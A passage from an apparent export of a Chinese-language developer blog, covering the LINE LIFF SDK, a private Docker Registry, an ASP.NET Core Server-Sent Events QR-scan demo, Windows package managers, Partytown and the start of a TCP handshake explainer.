\u0026lt;/script\u0026gt; 以下是取得環境資訊的程式碼範例，記得一定要初始化之後才能執行這些 API 喔！\n1 2 3 4 5 6 7 8 9 10 11 12 \u0026lt;script\u0026gt; liff.init({ liffId: \u0026#39;1566379427-xKvNdlJ9\u0026#39; }).then(() =\u0026gt; { console.log(liff.getLanguage()); // 取得用戶的主要語言 console.log(liff.getVersion()); // 取得 LIFF SDK 的版本 console.log(liff.isInClient()); // 判斷目前網頁是否跑在 LIFF Browser 底下 console.log(liff.isLoggedIn()); // 判斷開啟此網頁的 LINE 使用者是否為登入狀態 console.log(liff.getOS()); // 取得使用者目前使用的作業系統為何 console.log(liff.getLineVersion()); // 取得使用者目前使用的 LINE App 版本 }); \u0026lt;/script\u0026gt; 注意: 你只要是用 LINE LIFF Browser 瀏覽器開啟 LIFF App 網頁，透過 liff.init() 初始化之後，預設就會自動登入！👍\n如果你希望在初始化 LIFF SDK 的時候，即便在「外部瀏覽器」的環境下也要啟用「自動登入」功能，可以加入 withLoginOnExternalBrowser: true 參數，他會在頁面初始化的時候自動進行 LINE Login 的 OAuth 2.0 授權流程！\n1 2 3 4 5 6 7 8 \u0026lt;script\u0026gt; liff.init({ liffId: \u0026#39;1566379427-xKvNdlJ9\u0026#39;, // Use own liffId withLoginOnExternalBrowser: true, // Enable automatic login process }).then(() =\u0026gt; { // Start to use liff\u0026#39;s api }); \u0026lt;/script\u0026gt; 這個 withLoginOnExternalBrowser: true 選項建議只用在 LINE App 內才會開啟的網頁上使用。否則你能想像你開啟我的部落格後，第一時間轉向到 LINE Login 畫面是什麼感覺嗎？😅\n有些取得環境資訊的 API 在透過 liff.init() 初始化之前也可以使用： liff.ready： 會回傳一個 Promise 並會在 liff.init() 初始化完畢後執行，你可以在 .then() callback 撰寫一些程式碼。\nliff.getOS()： 取得用戶端的作業系統，可能的值只有 ios、android 與 web。\nliff.getLanguage()： 這等同於透過 navigator.language 取得目前瀏覽器使用的語言。\nliff.getVersion()： 取得目前 LIFF SDK 使用的版本。\nliff.getLineVersion()： 取得使用者目前 LINE App 的版本。\nliff.isInClient()： 判斷目前網頁是否跑在 LIFF Browser 底下，你可以藉此判斷是否要初始化 LIFF SDK 或透過 liff.closeWindow() 關閉視窗！\nliff.closeWindow()： 你可以任意時間透過這個 API 關閉視窗，甚至於在 liff.init() 初始化完成之前也可以關閉。\nliff.use()： 啟用與初始化一個 LIFF Plugin。\nliff.i18n.setLang()： 設定 LIFF SDK 的顯示語言，任何 RFC 5646 (BCP 47) 定義的語言都可以，繁體中文可以是 zh-Hant 或 zh-Hant-TW 都可以。\n以上就是使用 LIFF SDK 開發網頁的起手式，理解了觀念與啟動方法，其他都不複雜了，剩下的 API 就是有用到的時候才去看 LIFF v2 API reference 說明文件。當然，別忘記 LIFF Playground 的存在，他可以很快速的幫助你快速瀏覽所有的 LIFF APIs！👍\n總結 我覺得 LIFF 並不難，難的地方在於初學者很容易搞不清楚 LIFF 的用途、LIFF Browser 的存在 與 LIFF App 的開啟方式，搞懂這些地方，後續在開發上就不會有甚麼困難與障礙了！🚀\n","date":"2023-02-01T00:00:00Z","image":"https://live.staticflickr.com/65535/52662373535_00afc03eca_o.jpg","permalink":"https://blog.wayne-project.com/2023-02-01/line-front-end-framework-v2/","title":"【LIFF】認識 LINE Front-end Framework (LIFF) 前端框架 (LIFF v2)"},{"content":" 參考網站\n前言 深度應用 Docker 容器後常會走到這一步 - 自建 Docker Registry (容器 Image 倉庫)。\n不管用 docker 指令或跑 Docker Compose，建立容器都需先載入 Docker Image，若是公開 Image，透過 docker pull 指令、在 docker-compose.yml 指定 image 來源、或 Dockerfile 寫 FROM imageName:tag，都可從 Docker Hub 下載，私有程式或內部應用系統不適合上傳第三方系統，企業內部主機則可能位於無法連 Internet 的環境，從 Docker Hub 下載這條路便不可行。簡單做法是用 docker save container-name \u0026gt; container-name.tar 再 scp 上傳到 Docker 主機用 docker load -i container-name.tar 載入，但儲存、上傳、載入(有時還需要壓縮解壓縮)程序複雜，若要部署多台主機格外沒效率。因此，建立私有 Docker Registry 取代 Docker Hub 的角色，是較省事有效率的實務做法。\n(補充：關於 Container Image 部署，可參考保哥這篇遷移容器映像(Container Image)到另一台主機的各種作法)\nDocker 支援自建私有 Registry 伺服器，不意外地有安裝成 Docker 容器的便捷做法。經簡單設定與安裝，架一台私有 Docker Registry 儲存非公開容器 Image 並不困難。說是一回事，做是一回事，這篇來實地演練一次。\n開始 首先準備一台 Docker 主機，裝好 Nginx + Certbot 服務，我是在 Azure 開一個 B1s 小 VM 來跑。\n註：Azure 有 Azure Container Registry 的現成雲端服務，做法更簡便。學習在 Linux 跑 Docker 做法是為將來在離線環境建立 Docker Registry 做準備。\n以我的標準，即便內部伺服器也要控管存取身分，不能讓閒雜人等隨便用。Docker Registry 支援帳號密碼登入，但前題要啟甪 TLS HTTPS 連線，故除了安裝 htpasswd 工具設定密碼雜湊檔，並需要安裝 mkcert 建立 TLS 憑證：\n1 sudo apt-get install apache2-utils mkcert 我在主機端建了一個 /var/registry 資料夾放 Docker Registry 相關檔案，接著用 mkcert 建立自簽憑證給 Registry 用：\n設定帳號密碼：\n準備好 Docker Compose 設定檔，REGISTRY_HTTP_TLS_CERTIFICATE 及 REGISTRY_HTTP_TLS_KEY 環境變數指向 mkcert 剛才製作的兩個 pem 檔名、REGISTRY_AUTH_HTPASSWD_PATH 指向密碼檔名；volumes 部分將 Docker 的 Image 資料、憑證、認證資料對應到 /var/registry 實體路徑保存，以免容器關閉後資料消失：\ndocker-compose.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 version: \u0026#34;3\u0026#34; services: registry: restart: always image: registry:2 ports: - 5000:5000 environment: REGISTRY_HTTP_TLS_CERTIFICATE: /certs/localhost.pem REGISTRY_HTTP_TLS_KEY: /certs/localhost-key.pem REGISTRY_AUTH: htpasswd REGISTRY_AUTH_HTPASSWD_PATH: /auth/htpasswd REGISTRY_AUTH_HTPASSWD_REALM: Registry Realm volumes: - /var/registry/data:/var/lib/registry - /var/registry/certs:/certs - /var/registry/auth:/auth 用 docker-compose up -d 啟動容器，若一切正常，用 curl https://localhost:5000/v2/ 測試，若傳回 {\u0026quot;errors\u0026quot;:[{\u0026quot;code\u0026quot;:\u0026quot;UNAUTHORIZED\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;authentication required\u0026quot;,\u0026quot;detail\u0026quot;:null}]} 就代表成功了。\n接著來測試 Push Image 到私有 Registry，操作程序是用 docker tag 為己載入容器加上 localhost:5000/aspnetapp 這種標籤，此時等同同一個 IMAGE ID 有兩個 Tag，由於 Registry 需要登入，用剛才的設定帳號密碼以指令 docker login 登入，接著 docker push localhost:5000/aspnetsapp 就能完成上傳：\n檢查資料夾 /var/registry/data/docker/registry/v2/repositories/aspnetapp/_layers/sha256 可看見上傳過程出現的四個 Layer ID，成功！\n接下來試試從 Windows Docker Desktop 從 VM 的對外網域名稱下載容器 Image 執行，一樣輕鬆秒殺：\n以上，一台自建 Docker Registry 便上線服役囉～\n","date":"2023-01-31T00:00:05Z","image":"https://live.staticflickr.com/65535/52660201816_22c917dc9a_o.png","permalink":"https://blog.wayne-project.com/2023-01-31/docker-private-registry/","title":"【Docker】建立私有 Docker Registry"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n多因素認證(Multiple Factor Authentication，MFA)是網頁常會用到一種技巧，介面停在登入網頁，等待手機 App 操作，網頁能偵測 App 動作是否完成，若驗證成功自動導向已登入畫面，本篇來簡易的實作此流程。\n以 Facebook 為例 以 Facebook 為例，若有啟動兩階段驗證，第一次登入網站，輸入密碼後會出現以下畫面：\n除了開代碼產生器(Authenticator App)查驗證碼在網頁輸入，有安裝 Facebook App 且為登入狀態的手機也會出現「剛剛是你本人登入的嗎？」登入，只要按「是」即可跳過輸入驗證碼步驟，自動進入登入後畫面：\n實作 「需要雙重驗證碼」網頁必定可持續從網站接收最新狀態，才能做到手機 App 一按「是」馬上接到通知。對前端網頁來說，這不是什麼新鮮技術，做法很多，從雖可恥但有用的 setInterval 定期查詢、Long Polling、Server-Sent Event、WebSocket，乃至更高階的程式庫如 SignalR，都是解法。這邊我使用 Servent-Sent Event (SSE)，理由是比輪詢即時有效率，不像 WebSocket 會因防火牆、Proxy 或網站伺服器不支援而失效，又比 SignalR 來得輕巧。\n本專案已改用 ASP.NET Core，做法不同。查了一下，發現 NuGet 套件 Lib.AspNetCore.ServerSentEvents，文件清楚且擴充彈性不錯，沒必要自己造輪子。\n先看試做成果：\n我建了一個 ASP.NET Core MVC 站台，首頁放了一顆鈕，按下會彈出 QR Code 網頁，10 秒內掃瞄 QR Code 呼叫指定網址，首頁會從 SSE 接獲通知確認掃瞄完成。為方便本機測試，我加了一顆鈕用 JavaScript 程式瀏覽指定 URL 模擬掃瞄 QR Code 動作。而等待掃瞄過程會計時，未在時限內完成將判定逾時。\nIndex.cshtml 寫法如下，原理是開啟 EventSource() 接收伺服器端 SSE 回應，新開啟的 QR Code 視窗引導使用者呼叫特定連結觸發從 SSE 連線回傳結果，正常由 onmessage 事件接收、逾時或出錯則由 onerror 事件接收：\nViews/Home/Index.cshtml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @{ ViewData[\u0026#34;Title\u0026#34;] = \u0026#34;Home Page\u0026#34;; } \u0026lt;div class=\u0026#34;text-center\u0026#34;\u0026gt; \u0026lt;h1 id=\u0026#34;h\u0026#34; class=\u0026#34;display-4\u0026#34;\u0026gt;Welcome\u0026lt;/h1\u0026gt; \u0026lt;button id=\u0026#34;btn\u0026#34; onclick=\u0026#34;showQRCode()\u0026#34;\u0026gt;Scan QR Code\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; var qrCodeWin; var source = new EventSource(\u0026#39;/sse/@ViewBag.Token\u0026#39;); function showResult(msg, error) { qrCodeWin \u0026amp;\u0026amp; qrCodeWin.close(); document.getElementById(\u0026#39;btn\u0026#39;).remove(); let h = document.getElementById(\u0026#39;h\u0026#39;); h.innerText = msg; if (error) h.style.color = \u0026#39;red\u0026#39;; } source.onmessage = function (event) { showResult(event.data); }; source.onerror = function (event) { showResult(event.data, true); }; function showQRCode() { qrCodeWin = window.open(\u0026#39;@Url.Content($\u0026#34;~/Home/QRCode/{ViewBag.Token}\u0026#34;)\u0026#39;, \u0026#39;_blank\u0026#39;, \u0026#39;width=300,height=300\u0026#39;); } \u0026lt;/script\u0026gt; 初步測試成功，接著改寫成模仿手機掃 QR Code 的登入流程。在我 Home 加一個 Test 方法，/Views/Home/Test.cshtml 如下，直接在頁面顯示 QR Code，QR Code 指定連結被呼叫後由 SSE 傳來通知，網頁導向測試成功畫面：\nViews/Home/Test.cshtml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 @{ } \u0026lt;div class=\u0026#34;text-center\u0026#34;\u0026gt; \u0026lt;img id=\u0026#34;qrc\u0026#34; src=\u0026#34;@ViewBag.QRCodePng\u0026#34; alt=\u0026#34;QR Code\u0026#34; /\u0026gt; \u0026lt;div id=\u0026#34;msg\u0026#34;\u0026gt; Timeout: \u0026lt;span id=\u0026#34;t\u0026#34;\u0026gt;@ViewBag.TimeoutSecs\u0026lt;/span\u0026gt;s \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; var source = new EventSource(\u0026#39;/sse/@ViewBag.Token\u0026#39;); source.onmessage = function (event) { location.href = \u0026#39;@Url.Action(\u0026#34;Succ\u0026#34;, \u0026#34;Home\u0026#34;)\u0026#39;; }; source.onerror = function (event) { document.getElementById(\u0026#39;qrc\u0026#39;).remove(); document.getElementById(\u0026#39;msg\u0026#39;).innerText = event.data; }; var timeout = @ViewBag.TimeoutSecs; var h = setInterval(function () { timeout--; document.getElementById(\u0026#39;t\u0026#39;).innerText = timeout; if (timeout == 0) clearInterval(h); }, 1000); \u0026lt;/script\u0026gt; 以上範例中，以手機掃瞄並瀏覽 QR Code 內含網址判定成功，改為 App 使用手機實體保存的金鑰對隨機產生內容做數位簽章，將可達到專業水準的安全防護，有機會做出土砲版多重因素驗證或免密碼登入。\n簡單說一下伺服器端程式寫法。SSE 部分主要靠 Lib.AspNetCore.ServerSentEvents 程式庫處理，Program.cs 有以下幾個地方要改：(中文註解處)\nProgram.cs 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 using Lib.AspNetCore.ServerSentEvents; using sse_notify.Models; var builder = WebApplication.CreateBuilder(args); // 註冊 SSE 服務 builder.Services.AddServerSentEvents(); // 改由 URL 包含的 Guid 取得 ClientId builder.Services.AddSingleton\u0026lt;IServerSentEventsClientIdProvider, SseClientIdFromPathProvider\u0026gt;(); // 自訂一個繼承 ServerSentEventsService 及實作 IServerSentEventsService 的類別處理通知 // 使用程式庫提供的 AddServerSentEvents 擴充方法註冊 builder.Services.AddServerSentEvents\u0026lt;SseNotifyService, InProcSseNotifyService\u0026gt;(options =\u0026gt; { // 程式庫提供 KeepAlive 功能 options.KeepaliveMode = ServerSentEventsKeepaliveMode.Always; options.KeepaliveInterval = 15; }); // Add services to the container. builder.Services.AddControllersWithViews(); var app = builder.Build(); app.UseStaticFiles(); app.UseRouting(); app.UseAuthorization(); // 定義 SSE 對映的服務及路由及型別，每次等待的掃瞄操作產生隨機 GUID 識別 app.MapServerSentEvents\u0026lt;InProcSseNotifyService\u0026gt;(\u0026#34;/sse/{regex(^[=0-9a-z].+)$)}\u0026#34;); app.MapControllerRoute( name: \u0026#34;default\u0026#34;, pattern: \u0026#34;{controller=Home}/{action=Index}/{id?}\u0026#34;); app.Run(); 自訂類別要繼承 ServerSentEventsService，寫法可參考 API 文件，以下是我的做法。QR Code 掃瞄執行結果打算用訂閱與發布設計模式，測試開發階段靠記憶體中的 Dictionary、IMemoryCache 交換資料；在負載平衡架構會有多台並行，則需要分散式的訂閱發布架構，可使用 Redis、RabbitMQ 之類的解決方案。為此，我宣告了 SseNotifyService 抽象型別，先做了 InProcessSseNotifyService 用 IMemoryCache 簡單搞定，正式運轉如有需要再改用 Redis 或其他 MQ 機制實作。\nModels/SseNotifyService.cs 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 using Lib.AspNetCore.ServerSentEvents; using Microsoft.Extensions.Options; namespace sse_notify.Models { // https://tpeczek.github.io/Lib.AspNetCore.ServerSentEvents/articles/getting-started.html public abstract class SseNotifyService : ServerSentEventsService, IServerSentEventsService { public SseNotifyService(IOptions\u0026lt;ServerSentEventsServiceOptions\u0026lt;ServerSentEventsService\u0026gt;\u0026gt; options) : base(options.ToBaseServerSentEventsServiceOptions\u0026lt;ServerSentEventsService\u0026gt;()) { } public abstract void Subscribe(Guid token, int timeoutSecs = 300); public async Task SendEventAsync(Guid token, string type, string message) { var client = this.GetClients().SingleOrDefault(o =\u0026gt; o.Id == token); if (client != null) { await client.SendEventAsync(new ServerSentEvent() { Type = type, Data = new List\u0026lt;string\u0026gt; { message } }); } } public abstract Task Notify(Guid token, string message); } } Models/InProcSseNotifyService.cs 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 using Lib.AspNetCore.ServerSentEvents; using Microsoft.Extensions.Caching.Memory; using Microsoft.Extensions.Options; namespace sse_notify.Models; public class InProcSseNotifyService : SseNotifyService, IServerSentEventsService { private readonly IMemoryCache _cache; public InProcSseNotifyService(IOptions\u0026lt;ServerSentEventsServiceOptions\u0026lt;ServerSentEventsService\u0026gt;\u0026gt; options, IMemoryCache cache) : base(options.ToBaseServerSentEventsServiceOptions\u0026lt;ServerSentEventsService\u0026gt;()) { _cache = cache; } public override void Subscribe(Guid token, int timeoutSecs = 300) { var key = $\u0026#34;S:{token}\u0026#34;; var semaphore = new SemaphoreSlim(0); var timeout = TimeSpan.FromSeconds(timeoutSecs); _cache.Set(key, semaphore, timeout); var task = Task.Factory.StartNew(async () =\u0026gt; { //wait for semaphore to be released if (!await semaphore.WaitAsync(TimeSpan.FromSeconds(timeoutSecs))) await SendEventAsync(token, \u0026#34;error\u0026#34;, \u0026#34;Timeout\u0026#34;); //try get response else if (!_cache.TryGetValue\u0026lt;string\u0026gt;($\u0026#34;R:{token}\u0026#34;, out var res)) await SendEventAsync(token, \u0026#34;error\u0026#34;, \u0026#34;No response\u0026#34;); else await SendEventAsync(token, \u0026#34;message\u0026#34;, res); }); } public async override Task Notify(Guid token, string message) { var key = $\u0026#34;S:{token}\u0026#34;; if (!_cache.TryGetValue(key, out SemaphoreSlim semaphore)) throw new ApplicationException(\u0026#34;Token not found\u0026#34;); _cache.Set(\u0026#34;R:\u0026#34; + token.ToString(), message); semaphore.Release(); _cache.Remove(key); } } SSE 程式庫識別客戶端連線的預設做法是從 HttpContext.User.Identity 抓使用者身分，若使用者有多條 SSE 連線，每條連線都傳訊息也無妨。但我的應用情境，每次顯示 QR Code 為獨立傳輸通道，會以 GUID 識別，故要自訂識別 Client Id 邏輯。做法是寫個自訂類別實作 IServerSentEventsClientIdProvider，在 Program.cs DI 註冊成 Singleton：\nModels/SseClientIdFromPathProvider.cs 1 2 3 4 5 6 7 8 9 10 11 12 public class SseClientIdFromPathProvider : IServerSentEventsClientIdProvider { public Guid AcquireClientId(HttpContext context) { var path = context.Request.Path.Value; var m = Regex.Match(path, @\u0026#34;(?i)/(?\u0026lt;g\u0026gt;[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})$\u0026#34;); if (m.Success) return Guid.Parse(m.Groups[\u0026#34;g\u0026#34;].Value); return Guid.NewGuid(); } public void ReleaseClientId(Guid clientId, HttpContext context) { } } 瑣碎細節還不少，就不一一介紹了。範例專案已放上 Github，大家如有興趣再下載回去研究。\n","date":"2023-01-31T00:00:00Z","image":"https://live.staticflickr.com/65535/52659620952_80251bfcbf_o.jpg","permalink":"https://blog.wayne-project.com/2023-01-31/web-wait-for-qrcode-scan/","title":"【Server-Sent Event】在網頁等待手機端完成操作"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n這些年我漸漸變成 CLI 愛好者，覺得很多時侯敲指令比滑滑鼠簡單有效率，跟伙伴溝通更簡潔精確(例如：「git add Program.cs \u0026amp;\u0026amp; git commit -m \u0026ldquo;poc\u0026rdquo;」對上「切換到 Git Changes，在 Changes 的 Program.cs 按右鍵點 Stage，在 Message 欄位輸入 poc，然後點下面那個 Commit\u0026hellip;」，簡單十倍)，常用指令可以用記事本保存快速重複操作，寫幾行程式可將複雜作業自動化或改為批次作業或排程，比 GUI 操作更容易擴充及應用。\n安裝軟體這檔事也是如此，習慣了在 Linux 下指令 apt-get install XXX 就裝好軟體，便會覺得 Google 找網站下載檔案再跑安裝程式或解壓縮的做法太繁瑣。\nWindows 其實也有下指令裝軟體的做法，最早只有 Chocolatey，後來陸續加入其他選擇，我的資訊有點落後，在這篇做個更新。\n目前 Windows 上常用的指令式軟體安裝服務有三個：Chcolatey、Scoop 及 winget。\nPoint Chocolatey Scoop winget 開發商 Chocolatey Software, Inc. lukesampson Microsoft Corp. 發布時間 Mar. 2011 Sep. 2013 May 2020 是否開源 是 是 是 套件數量截至2020年7月18日 5036 2959 657 可用版本 since Win7、since Win2003 since Win7、since Win2008 Win10since ver 1709 難易度 有點麻煩 足夠 足夠 自建倉庫 足夠 足夠 足夠 免費/付費 免費部分付費 免費 免費 方便性 有點麻煩 足夠 有點麻煩 套件包內容 太棒了 足夠 有點麻煩 資料來源 (註：資料時間 2020/10，套件數已有變化)\n三者都是開源軟體，可免費使用(Chcolatey 有付費版提供企業需要的額外功能)，簡單歸納三者的差異。\n1. Chcolatey Chcolatey\n起源最早，目前有超過 9500 個套件，涵蓋許多常用軟體(Chrome、VLC Player)，Chocolatey 依賴 PowerShell 及 NuGet 運作，對非程式開發使用者來說比較複雜，安裝時需要管理者權限。\n2. Scoop Scoop\nScoop 的初衷是用於安裝系統工具，尤其是 Linux 常用但 Windows 缺少的工具程式。它也能用來安裝一般桌面程式，但需要新增特定安裝來源(Bucket)。\nScoop 最大的優點是軟體限縮在使用者環境，不修改 Registry 及系統設定，不需要管理者權限，不依賴 PowerShell/NuGet，使用較簡單。\n若算上散佈各地的 1100 個 Bucket，套件數量可達 27000 種，但引用時多了搜尋、確認對象跟設定來源的手續。\n3. winget winget\n2020 年才推出的 winget，血統純正是其最大優勢，winget 由微軟開發維護，但因推出時間較晚，套件數量不如前二者豐富，且因透過微軟商店安裝，限定 Windows 10 1709 之後的版本才能使用，跟 Windows Terminal 一樣，要應用在 Server 及網路受限環境得花點功夫。\n小結 若要安裝 Windows 上的工具程式或軟體的話：\nChocolatey 仍是最方便的選擇，單一來源涵蓋幾乎大小會用到的軟體，並能處理 Registry、右鍵選單等系統層次設定，但執行時需要管理者權限。\nScoop 以開發用的工具程式為主，最大的優點安裝範圍會限制在當時登入的使用者環境下，不干擾系統設計也不需要管理者權限；Scoop 也能安裝 Chrome、VLC 播放器這類軟體，但需要找到並設定安裝來源。\nwinget 是微軟的官方指令安裝系統，預設透過微軟商店下載安裝，要在 Windows Server 或網路受限環境使用需費點工夫，且因出道較晚，提供的軟體種類不如其他二者齊全。\n","date":"2023-01-31T00:00:00Z","image":"https://live.staticflickr.com/65535/52660107874_752a7075c3_o.jpg","permalink":"https://blog.wayne-project.com/2023-01-31/windows-chocolatey-scoop-winget/","title":"【Windows】指令式軟體安裝服務比較：Chocolatey、Scoop 與 winget"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n前端效能調校的技法多如牛毛，但最明顯的效能殺手不外乎是 JavaScript 佔用 Main Thread 而導致頁面無法回應的狀況了。最近研究 Partytown 這個函式庫，他用了一個非常巧妙的技巧，把部分 JS 自動切換到 Web Workers 背景執行。這篇文章我就來分享如何將 Partytown 安裝到任意網站中。\n如何安裝 Partytown 到任意網站 透過 Partytown CLI 下載 Partytown 函式庫 以下命令會在當前目錄建立一個 ~partytown 資料夾(建議統一用這個名稱)：\n1 npx \u0026#34;@builder.io/partytown\u0026#34; copylib ~partytown 將 ~partytown 資料夾上傳到網站根目錄 如果是 ASP.NET Core 的話，可以上傳到 wwwroot 目錄下，或是在 ASP.NET Core 專案根目錄輸入以下命令： 1 npx \u0026#34;@builder.io/partytown\u0026#34; copylib \u0026#34;wwwroot\\~partytown\u0026#34; 如果是 Node.js 的話，可以上傳到 public 目錄下，或是在 ASP.NET Core 專案根目錄輸入以下命令： 1 npx \u0026#34;@builder.io/partytown\u0026#34; copylib \u0026#34;public/~partytown\u0026#34; 你也可以設定好 package.json 加入到建置流程中：\n1 npm install \u0026#34;@builder.io/partytown\u0026#34; package.json 1 2 3 4 5 6 { \u0026#34;scripts\u0026#34;: { \u0026#34;build\u0026#34;: \u0026#34;npm run partytown \u0026amp;\u0026amp; ng build\u0026#34;, \u0026#34;partytown\u0026#34;: \u0026#34;partytown copylib public/~partytown\u0026#34; } } 總之，上傳到網站根目錄就對了！(詳見 Copy Library Files 有更完整的說明)\n調整網頁中的 \u0026lt;script\u0026gt; 標籤語法 請將以下：\n1 \u0026lt;script\u0026gt;...\u0026lt;/script\u0026gt; 全部修改為：\n1 \u0026lt;script type=\u0026#34;text/partytown\u0026#34;\u0026gt;...\u0026lt;/script\u0026gt; 就大功告成！\n使用的注意事項 雖然 Partytown 函式庫的初衷非常理想，就是管理第三方 JS 函式庫(third-party scripts)，徹底降低 JS 佔用 Main Thread 的狀況。但實際上還是有不少 JS 檔案在透過 Partytown 載入到 Web Workers 執行後就掛掉了，所以實際上 Partytown 並不適用於所有 JS 執行，因此不太建議把網站上所有 JS 都改用 Partytown 來載入。\n除此之外，目前 Partytown 因為有用到 Atomics API 的關係，它的相容性確實有些限制，有些太舊的手機版本是沒有支援的！詳見 JavaScript built-in: Atomics | Can I use 說明。\n最後要提醒大家的地方，就是使用 Partytown 的 Trade-Offs (權衡)。因為這個世界沒有銀子彈，有一好就沒兩好，使用 Partytown 不見得適用所有的網頁開發情境。以下是 Partytown 官方認為不適用的地方：\n大量的 DOM 操作會被節流(Throttled DOM Operations) 由於在 Web Workers 無法直接存取 DOM，所以 Partytown 會透過 onmessage 事件傳給 Main Thread 來處理，所以 DOM 處理的速度反而會變慢！\n只要是 UI 特別吃重的 JS 函式庫，處理大量 DOM 操作，都不太適合用 Partytown 來管理 如果執行實際效果不理想，其實就這個 JS 不要用 Partytown 即可！\n若第三方函式庫在載入時沒有設定 CORS Headers 的話，透過 Partytown 是無法載入的 必須透過 Proxying Requests 從**相同來源(Same-origin)**載入！\n事件處理只要用到 event.preventDefault() 就會失效 透過 Web Workers 執行 event callback 會導致 event.preventDefault() 的行為失效！\n若透過 Partytown 管理的 JS 動態建立 iframe 的話，document.cookie、localStorage 與 sessionStorage 都會讀不到！ 基本上程式不會報錯，但就是沒效果，所以使用上要注意！\n透過 setInterval() 不斷的對 document 進行 DOM 操作 這也會失去使用 Partytown 的價值，因為頻繁的 DOM 操作反而會讓 Web Workers 過於忙碌！\n目前確定很適合用 Partytown 來管理的第三方函式庫，從官網是有整理出來的，大家可以多多利用，照著官網設定即可：\nCommon Services Facebook Pixel Google Tag Manager (GTM) ","date":"2023-01-30T00:00:00Z","image":"https://live.staticflickr.com/65535/52657535787_2ab04e0fac_o.jpg","permalink":"https://blog.wayne-project.com/2023-01-30/npm-partytown-from-web-worker/","title":"前端效能調校：使用 Partytown 將笨重的 JavaScript 放到 Web Workers 執行"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n前言 在面試中，計算機網絡的 TCP 三次握手和四次揮手是很常見的問題，但是在實際面試中，面試官會更願意聽到怎樣的回答呢？詳細程度是怎樣的？\n越簡單常見的問題越不可小覷，萬丈高樓平地起，把簡單的問題深入化，才更能拉開與競爭者的距離。掌握了本文講的全部知識點，關於 TCP 三次握手和四次揮手基本就OK 了😊\nTCP 與 UDP 講解 TCP 三次握手和四次握手之前，我們先了解一下 TCP 和 UDP 這兩個重量級的傳輸層協議。\n💦 用戶數據報協議 UDP（User Datagram Protocol）：\nUDP 在傳送數據之前不需要先建立連接，遠程主機在收到 UDP 報文後，不需要給出任何確認。 雖然 UDP 不提供可靠交付，但在某些情況下 UDP 確是一種最有效的工作方式（一般用於即時通信、直播串流），比如：QQ 語音、QQ 視頻、直播等等。 💦 傳輸控制協議 TCP（Transmission Control Protocol）：\nTCP 提供面向連接的服務。在傳送數據之前必須先建立連接，數據傳送結束後要釋放連接。 TCP 不提供廣播或多播服務。由於 TCP 要提供可靠的，面向連接的傳輸服務（TCP 的可靠，體現在 TCP 在傳遞數據之前，會有三次握手來建立連接，而且在數據傳遞時，有確認、窗口、重傳、流量控制、擁塞控制機制，在數據傳完後，還會四次揮手斷開連接用來節約系統資源），這不僅使協議數據單元的首部增大很多，還要佔用許多處理機資源。 TCP 一般用於文件傳輸、發送和接收郵件、遠程登錄等場景。 TCP 報文段首部格式 TCP 報文段的具體格式大家可以不必都記住，但是其中的幾個控制位與我們接下來要講的三次握手和四次揮手息息相關，大家一定要牢記。\n首部固定部分各字段意義如下：\n源端口和目的端口： 各佔 2 個字節，分別寫入源端口和目的端口。IP 地址 + 端口號就可以確定一個進程地址。 序號/序列號（Sequense Number，SN）： 在一個TCP 連接中傳送的字節流中的每一個字節都按順序編號。該字段表示本報文段所發送的數據的第一個字節的序號。初始序號稱為Init Sequense Number，ISN（序號/序列號這個字段很重要，大家留個印象，下文會詳細講解）\n例如，一報文段的序號是 101，共有 100 字節的數據。這就表明：本報文段的數據的第一個字節的序號是 101，最後一個字節的序號是 200。顯然，下一個報文段的數據序號應當從 201 開始，即下一個報文段的序號字段值應為 201。 確認號 ack： 期望收到對方下一個報文段的第一個數據字節的序號。若確認號為 N，則表明：到序號 N-1 為止的所有數據都已正確收到。 數據偏移（首部長度）： 它指出 TCP 報文段的數據起始處距離 TCP 報文段的起始處有多遠。這個字段實際上是指出 TCP 報文段的首部長度。 保留： 佔 6 位，應置為 0，保留為今後使用。 ⭐ 大家看上圖，保留位的右邊還有 6 個控制位（重要），這是 TCP 用來說明該報文段性質的：\n緊急位URG： 當 URG = 1 時，表明此報文段中有緊急數據，是高優先級的數據，應盡快發送，不用在緩存中排隊。該控制位需配合緊急指針使用（緊急指針指出本報文段中緊急數據的字節數）\n舉個例子：我們需要取消一個已經發送了很長程序的運行，因此用戶從鍵盤發出中斷命令。如果不使用緊急數據，那麼這個指令將存儲在接收 TCP 的緩存末尾，只有在所有的數據被處理完畢後這兩個字符才被交付接收方的應用進程，這樣做就無法實現立即中斷。 確認ACK： 僅當 ACK = 1 時確認號字段才有效，當 ACK = 0 時確認號無效。TCP 規定，在連接建立後所有傳送的報文段都必須把 ACK 置為 1。 推送PSH： 當兩個應用進程進行交互式的通信時，有時在一端的應用進程希望在鍵入一個命令後立即就能收到對方的響應。在這種情況下，TCP 就可以使用推送（push）操作。這時，發送方 TCP 把 PSH 置為 1，並立即創建一個報文段發送出去。接收方 TCP 收到 PSH = 1 的報文段，就盡快地交付接收應用進程。而不用等到整個緩存都填滿了後再向上交付。 復位RST： 當 RST = 1 時，表明TCP 連接中出現了嚴重錯誤（如由於主機崩潰或其他原因），必須釋放連接，然後再重新建立傳輸連接。 同步SYN： SYN = 1 表示這是一個連接請求或連接接受報文。\n當 SYN = 1 而 ACK = 0 時，表明這是一個連接請求報文段。對方若同意建立連接，則應在響應的報文段中使 SYN = 1 且 ACK = 1。 